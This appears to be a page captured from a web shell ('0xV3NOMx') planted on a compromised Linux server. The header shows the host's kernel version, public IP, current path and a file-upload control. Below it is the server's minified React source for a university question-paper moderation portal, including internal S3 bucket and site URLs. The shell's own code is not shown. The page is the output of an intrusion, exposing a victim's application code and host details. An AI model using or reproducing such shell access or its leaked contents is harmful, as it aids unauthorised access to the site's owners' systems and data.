0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.166.45


Current Path : /proc/thread-self/root/var/www/qpms/assets/
Upload File :
Current File : //proc/thread-self/root/var/www/qpms/assets/ModQpDetailsOffline-4imArrJG.js

import{x as O,r as l,t as e,B as f,E as S,M as E,D as N,L as T,G as V,R as $}from"./index-D_3WEyIX.js";import{a as B,u as Y,b as K}from"./ModQpDetails-Bbj891NL.js";import{p as G}from"./sem-DLpF_ddZ.js";import{U as w,R as j}from"./UploadOutlined-rc0gZXYj.js";import{F as v}from"./Table-CWyPglVw.js";import{g as U}from"./datatable-cwsbbskh.js";import{S as H}from"./index-BvbigfBp.js";import{R as J}from"./ArrowLeftOutlined-BolXx_DZ.js";import{R as W}from"./HomeOutlined-DuI9l8yy.js";import{R as X,C as Z}from"./row-Cf-GfLu-.js";import"./index-F4vCNHPI.js";import"./index-BmZJU0_T.js";import"./DeleteOutlined-CHl8blL-.js";import"./index-C7iNPYsc.js";import"./responsiveObserver-B-8Q9O9D.js";const ee=t=>{const[b,D]=l.useState([]),[c,x]=l.useState([]),[r,h]=l.useState([]),[m,g]=l.useState([]),[p,y]=l.useState([]),[M,u]=l.useState(""),[o,q]=l.useState(""),[C,L]=l.useState(""),[P,Q]=l.useState(""),k="https://moderator-upd.s3.ap-south-1.amazonaws.com/",_="https://universitysolutions.in/univadmin/QP_Details/051/Q.P.moderation_format_14.03.2023.docx",R="https://universitysolutions.in/univadmin/QP_Details/"+t.user.funivcode+"_QP_Setting_Remuneration_Format.docx";l.useEffect(()=>{const i={fqpcode:t.element.fqpcode,fteachcode:t.element.fteachcode,fset:t.element.fset,fyear:t.element.fyear,fexamtype:t.element.fexamtype,ftype:t.element.ftype};t.getModUpdData(i)},[]),l.useEffect(()=>{D(t.modUpdData)},[t.modUpdData]);const F=async(i,a,s)=>{if(s==="anskey"){const d={...r};if(i.fileList.length>0){const n=i.fileList[0].name.split(".").pop();if(n!=="docx"&&n!=="doc"&&n!=="pdf"){S("info","Select word or pdf file only");return}d[a.key]=i.fileList,h(d),q("Yes")}else{const n={...r,[a.key]:[]};h(n),q("No")}}else if(s==="qp"){const d={...c};if(i.fileList.length>0){const n=i.fileList[0].name.split(".").pop();if(n!=="docx"&&n!=="doc"&&n!=="pdf"){S("info","Select word or pdf file only");return}d[a.key]=i.fileList,x(d),u("Yes")}else{const n={...d,[a.key]:[]};x(n),u("No")}}else if(s==="mod"){const d={...m};if(i.fileList.length>0){const n=i.fileList[0].name.split(".").pop();if(n!=="docx"&&n!=="doc"&&n!=="pdf"){S("info","Select word or pdf file only");return}d[a.key]=i.fileList,g(d),L("Yes")}else{const n={...d,[a.key]:[]};g(n),L("No")}}else if(s==="rem"){const d={...p};if(i.fileList.length>0){const n=i.fileList[0].name.split(".").pop();if(n!=="docx"&&n!=="doc"&&n!=="pdf"){S("info","Select word or pdf file only");return}d[a.key]=i.fileList,y(d),Q("Yes")}else{const n={...d,[a.key]:[]};y(n),Q("No")}}},z=async i=>{E.confirm({title:"Upload",content:"Are you sure ?",onOk(){A(i)}})},A=async i=>{const a={univcode:t.user.funivcode,fqpcode:t.element.fqpcode,fset:t.element.fset,fteachcode:t.element.fteachcode,fyear:t.element.fyear,fexamtype:t.element.fexamtype,ftype:t.element.ftype,userid:t.user.fregno},s=new FormData;s.append("data",JSON.stringify(a)),s.append("ansstatus",o),s.append("qpstatus",M),s.append("modstatus",C),s.append("remstatus",P),m[i.key]&&m[i.key][0]&&s.append("modFromFile",m[i.key][0].originFileObj),c[i.key]&&c[i.key][0]&&s.append("qpfile",c[i.key][0].originFileObj),r[i.key]&&r[i.key][0]&&s.append("anskeyfile",r[i.key][0].originFileObj),p[i.key]&&p[i.key][0]&&s.append("remfile",p[i.key][0].originFileObj),await t.uploadModQpData(s,t.getModUpdData,a)},I=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"6%"},{title:"QP File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:"https://qp-upd.s3.ap-south-1.amazonaws.com/"+a.fqpfilepath,target:"_blank",children:"Download Qp File"}),e.jsx("br",{}),e.jsx(w,{onClick:()=>x([]),fileList:c[a.key]||[],onChange:s=>F(s,a,"qp"),beforeUpload:()=>!1,children:e.jsx(f,{size:"medium",icon:e.jsx(j,{}),children:"Select File"})}),a.fmodqpupd!==""&&e.jsx("a",{target:"_blank",href:k+a.fmodqpupd,children:"View"})]}),align:"center",width:"28%"},{title:"Ans Key File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:"https://qp-upd.s3.ap-south-1.amazonaws.com/"+a.fanskeypath,children:"Download Ans File"}),e.jsx("br",{}),e.jsx(w,{onClick:()=>h([]),fileList:r[a.key]||[],onChange:s=>F(s,a,"anskey"),beforeUpload:()=>!1,children:e.jsx(f,{size:"medium",icon:e.jsx(j,{}),children:"Select File"})}),a.fmodanskey!==""&&e.jsx("a",{target:"_blank",href:k+a.fmodanskey,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode=="040"&&!0},{title:"QP Mod Form",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:_,target:"_blank",download:!0,children:"Download Moderator Form"}),e.jsx("br",{}),e.jsx(w,{onClick:()=>g([]),fileList:m[a.key]||[],onChange:s=>F(s,a,"mod"),beforeUpload:()=>!1,children:e.jsx(f,{size:"medium",icon:e.jsx(j,{}),children:"Select File"})}),a.fmodform!==""&&e.jsx("a",{target:"_blank",href:k+a.fmodform,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode=="040"&&!0},{title:"Rem. File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:R,target:"_blank",download:!0,children:"Download Rem. Form"}),e.jsx("br",{}),e.jsx(w,{onClick:()=>y([]),fileList:p[a.key]||[],onChange:s=>F(s,a,"rem"),beforeUpload:()=>!1,children:e.jsx(f,{size:"medium",icon:e.jsx(j,{}),children:"Select File"})}),a.fmodremfile!==""&&e.jsx("a",{target:"_blank",href:k+a.fmodremfile,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode!="040"&&!0},{title:"Action",render:(i,a)=>e.jsxs(f,{size:"medium",style:{background:"green",color:"#fff"},onClick:()=>z(a),children:[e.jsx(j,{}),"Upload"]}),width:"10%",align:"center"}];return e.jsxs(e.Fragment,{children:[e.jsxs("p",{children:[e.jsx("b",{children:" Subname [QP Code]: "}),t.element.fsubname+" ["+t.element.fqpcode+"]"]}),e.jsxs("p",{children:[e.jsx("b",{children:" Syllabus: "}),e.jsx("a",{href:t.url+t.element.fqpsyllabus,children:"View"})]}),e.jsx(v,{columns:I,dataSource:b,scroll:{x:1300,y:500},pagination:G})]})},te=t=>({user:t.loginfo.userData,modUpdData:t.getModUpdData}),ae=O(te,{getModUpdData:B,uploadModQpData:Y})(ee),ie=t=>{const[b,D]=l.useState([]),[c,x]=l.useState("Pending"),r="https://qp-scheme.s3.ap-south-1.amazonaws.com/",[h,m]=l.useState(!1),[g,p]=l.useState({});l.useEffect(()=>{t.getModQpDetailsOffline(c)},[]),l.useEffect(()=>{D(t.getModDataOffline)},[t.getModDataOffline]);const y=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"4%"},{title:"QP Code",dataIndex:"fqpcode",...U("fqpcode","qpcode"),align:"center",width:"10%"},{title:"Subject Name",dataIndex:"fsubname",...U("fsubname","subname"),width:"23%"},{title:"Set",dataIndex:"fset",width:"4%",align:"center"},{title:"Type",dataIndex:"ftype",width:"6%",align:"center"},{title:"Mod. Date",dataIndex:"fmodqpdate",width:"8%",align:"center"},{title:"Mod. Status",render:(u,o)=>e.jsx("span",{style:{color:o.fmodqpdate==""?"#f00":"green"},children:o.fmodqpdate!=""?"Completed":"Pending"}),width:"10%",align:"center"},{title:"Syllabus",render:(u,o)=>e.jsx("a",{href:r+o.fqpsyllabus,target:"_blank",children:"View"}),width:"7%",align:"center"},{title:"Last Date",dataIndex:"ftodate",width:"10%",align:"center"},{title:"Action",render:(u,o)=>e.jsx("div",{children:o.flastdate_status!="T"?e.jsx("div",{children:o.fmodstatus=="T"?e.jsx(f,{size:"medium",style:{color:"white",background:"#f00"},children:"Freezed"}):e.jsx("div",{children:o.ffinalpaper!=="T"&&e.jsxs(f,{size:"medium",onClick:()=>{m(!0),p(o)},style:{color:"white",background:"green"},children:[e.jsx($,{}),"View"]})})}):e.jsx(f,{size:"medium",style:{color:"white",background:"#f00"},children:"Last Date Over"})}),width:"10%",align:"center"}],M=[{key:"All",label:"All",value:"All"},{key:"Uploaded",label:"Uploaded",value:"Uploaded"},{key:"Pending",label:"Pending",value:"Pending"}];return e.jsx(N,{style:{margin:"6rem 10px 10px"},title:e.jsx("h6",{children:"Upload QP Details (Moderator)"}),extra:e.jsxs(H,{children:[h&&e.jsxs(f,{onClick:()=>m(!1),style:{color:"white",background:"green"},children:[e.jsx(J,{}),"Back"]}),e.jsx(T,{to:"/",children:e.jsxs(f,{type:"primary",danger:!0,children:[e.jsx(W,{})," Exit"]})})]}),children:h?e.jsx(ae,{element:g,url:r}):e.jsxs("div",{children:[e.jsx(X,{gutter:10,children:e.jsxs(Z,{xs:24,sm:24,md:12,lg:6,xl:6,xxl:6,children:[e.jsx("label",{children:"Status"}),e.jsx(V,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:c,options:M,onChange:u=>{x(u),t.getModQpDetailsOffline(u)}})]})}),e.jsx(v,{bordered:!0,dataSource:b,columns:y,scroll:{x:1300,y:500},pagination:!1})]})})},se=t=>(console.log(t.getModQpOffile),{user:t.loginfo.userData,getModDataOffline:t.getModQpOffile}),ke=O(se,{getModQpDetailsOffline:K})(ie);export{ke as default};